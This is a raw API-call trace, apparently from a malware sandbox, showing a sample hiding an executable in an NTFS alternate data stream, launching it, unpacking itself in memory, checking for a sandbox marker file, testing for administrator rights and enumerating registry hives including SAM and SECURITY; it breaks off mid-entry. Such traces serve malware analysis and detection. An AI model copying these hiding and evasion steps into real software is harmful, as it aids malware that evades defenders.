lpFileInformation=0x18f50c | out: lpFileInformation=0x18f50c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x1198ae7, ftCreationTime.dwHighDateTime=0xdd0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x119a79c, ftLastWriteTime.dwLowDateTime=0x18f85c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f5a4)) returned 0 [0025.733] GetLastError () returned 0x2 [0025.733] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xf8 [0025.733] SetFileTime (hFile=0xf8, lpCreationTime=0x0, lpLastAccessTime=0x18f550, lpLastWriteTime=0x18f550) returned 1 [0025.733] WriteFile (in: hFile=0xf8, lpBuffer=0xc19ea8*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x18f57c, lpOverlapped=0x0 | out: lpBuffer=0xc19ea8*, lpNumberOfBytesWritten=0x18f57c*=0x44000, lpOverlapped=0x0) returned 1 [0025.738] NtClose (Handle=0xf8) returned 0x0 [0025.741] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.741] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc19ea8) returned 1 [0025.745] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.745] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x100) returned 0xc12850 [0025.745] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.745] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin C:\\Users\\5P5NRG~1\\Desktop\\3307.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f804*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f7f4 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin C:\\Users\\5P5NRG~1\\Desktop\\3307.exe", lpProcessInformation=0x18f7f4*(hProcess=0x110, hThread=0xf8, dwProcessId=0x94c, dwThreadId=0x950)) returned 1 [0025.757] NtClose (Handle=0xf8) returned 0x0 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12850) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc19510) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc18d08) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc18500) returned 1 [0025.757] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.757] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc17cf8) returned 1 [0025.757] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde268) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd288) returned 1 [0025.757] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0025.757] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0x948 Process: id = "2" image_name = "wkxi1f~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin" page_root = "0x5007a000" os_pid = "0x94c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x938" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin C:\\Users\\5P5NRG~1\\Desktop\\3307.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x950 [0025.879] GetTimeZoneInformation (in: lpTimeZoneInformation=0x34f6c0 | out: lpTimeZoneInformation=0x34f6c0) returned 0x2 [0025.881] GetCurrentProcess () returned 0xffffffff [0025.881] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x34f6ac | out: lpExitCode=0x34f6ac*=0x103) returned 1 [0025.881] GetForegroundWindow () returned 0x101a6 [0025.881] GetCaretBlinkTime () returned 0x212 [0025.881] GetFileType (hFile=0xf710cd) returned 0x0 [0025.881] GetConsoleProcessList (in: lpdwProcessList=0x34f76c, dwProcessCount=0x1 | out: lpdwProcessList=0x34f76c) returned 0x0 [0025.882] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x34f678 | out: pcyOut=0x34f678) returned 0x0 [0025.882] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0025.882] GetCommState (in: hFile=0x3b268c, lpDCB=0x34f4e0 | out: lpDCB=0x34f4e0) returned 0 [0025.883] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x34f4dc, pmr=0x34f4c8, cht=0x353) returned 0 [0025.883] CloseClipboard () returned 0 [0025.883] CoUninitialize () [0025.883] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0025.883] ReleaseMutex (hMutex=0xa0) returned 0 [0025.883] CloseHandle (hObject=0xa0) returned 1 [0025.883] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0025.883] GetCommState (in: hFile=0x3b268c, lpDCB=0x34f4e0 | out: lpDCB=0x34f4e0) returned 0 [0025.883] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x34f4dc, pmr=0x34f4c8, cht=0x353) returned 0 [0025.883] CloseClipboard () returned 0 [0025.883] CoUninitialize () [0025.883] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0025.883] ReleaseMutex (hMutex=0xa0) returned 0 [0025.883] CloseHandle (hObject=0xa0) returned 1 [0025.883] GetLocalTime (in: lpSystemTime=0x34f77c | out: lpSystemTime=0x34f77c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x15, wSecond=0x13, wMilliseconds=0x28f)) [0025.884] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34f1fc | out: ProcedureAddress=0x34f1fc*=0x76c31856) returned 0x0 [0025.884] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x120000 [0025.980] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34f1fc | out: ProcedureAddress=0x34f1fc*=0x76c31856) returned 0x0 [0025.983] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0xd0000 [0026.020] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x34f294 | out: ProcedureAddress=0x34f294*=0x76c349d7) returned 0x0 [0026.020] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x34f294 | out: ProcedureAddress=0x34f294*=0x76c31222) returned 0x0 [0026.020] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34f294 | out: ProcedureAddress=0x34f294*=0x76c31856) returned 0x0 [0026.020] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x34f294 | out: ProcedureAddress=0x34f294*=0x76c3435f) returned 0x0 [0026.020] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0026.020] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0026.020] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0026.020] VirtualProtect (in: lpAddress=0x970000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x34f348 | out: lpflOldProtect=0x34f348*=0x2) returned 1 [0026.022] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x180000 [0026.025] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0026.025] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0026.025] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0026.025] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0026.414] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0026.431] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1b0000 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x104) returned 0x1b07d0 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b08e0 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0968 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b09f0 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0a78 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0b00 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0b88 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0c10 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0c98 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0d20 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0da8 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0e30 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0eb8 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0f40 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b0fc8 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b1050 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b10d8 [0026.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x400) returned 0x1b1160 [0026.442] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x3e0000 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3e07d0 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3e0858 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3e08e0 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x184) returned 0x3e0968 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0af8 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0b40 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0b88 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0bd0 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0c18 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0c60 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0ca8 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0cf0 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0d38 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0d80 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0dc8 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0e10 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0e58 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0ea0 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0ee8 [0026.443] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0f30 [0026.443] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34ee8c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin")) returned 0x2e [0026.444] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3e0f78 [0026.444] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2c) returned 0x3eb828 [0026.451] GetVersionExW (in: lpVersionInformation=0x34f4ac*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x34f4ac*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0026.451] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x34f494 | out: Wow64Process=0x34f494) returned 1 [0026.451] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34f470 | out: TokenHandle=0x34f470*=0xa0) returned 1 [0026.451] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x34f46c | out: TokenInformation=0x0, ReturnLength=0x34f46c) returned 0 [0026.451] GetLastError () returned 0x7a [0026.452] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x140) returned 0x3eb860 [0026.452] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x3eb860, TokenInformationLength=0x118, ReturnLength=0x34f46c | out: TokenInformation=0x3eb860, ReturnLength=0x34f46c) returned 1 [0026.452] AllocateAndInitializeSid (in: pIdentifierAuthority=0x34f47c, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x34f474 | out: pSid=0x34f474*=0x642b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0026.452] EqualSid (pSid1=0x642b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3eb8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0026.452] EqualSid (pSid1=0x642b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3eb8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0026.452] EqualSid (pSid1=0x642b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x3eb8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0026.452] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb860) returned 1 [0026.452] NtClose (Handle=0xa0) returned 0x0 [0026.452] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3eb860 [0026.453] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eb8a8 [0026.454] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x280) returned 0x3eb930 [0026.454] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0026.461] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x3eb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0026.461] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.461] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebc58 [0026.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x3ebc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0026.461] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebca0 [0026.461] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc58) returned 1 [0026.461] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebca0) returned 1 [0026.461] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.461] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x3eb930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0026.461] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.461] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebca0 [0026.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x3ebca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0026.461] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebc58 [0026.461] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebca0) returned 1 [0026.461] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc58) returned 1 [0026.461] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.461] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x3eb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebc58 [0026.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x3ebc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebca0 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc58) returned 1 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebca0) returned 1 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.462] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x3eb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebca0 [0026.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x3ebca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebc58 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebca0) returned 1 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc58) returned 1 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.462] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x3eb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebc58 [0026.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x3ebc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebca0 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc58) returned 1 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebca0) returned 1 [0026.462] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.462] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f404 | out: phkResult=0x34f404*=0xa0) returned 0x0 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x184) returned 0x3ed040 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebca0 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebc58 [0026.462] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebce8 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebd30 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebd78 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebdc0 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebe08 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebe50 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebe98 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebee0 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebf28 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebf70 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ebfb8 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec000 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec048 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec090 [0026.463] RegCloseKey (hKey=0x80000002) returned 0x0 [0026.463] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x3eb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0026.463] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, 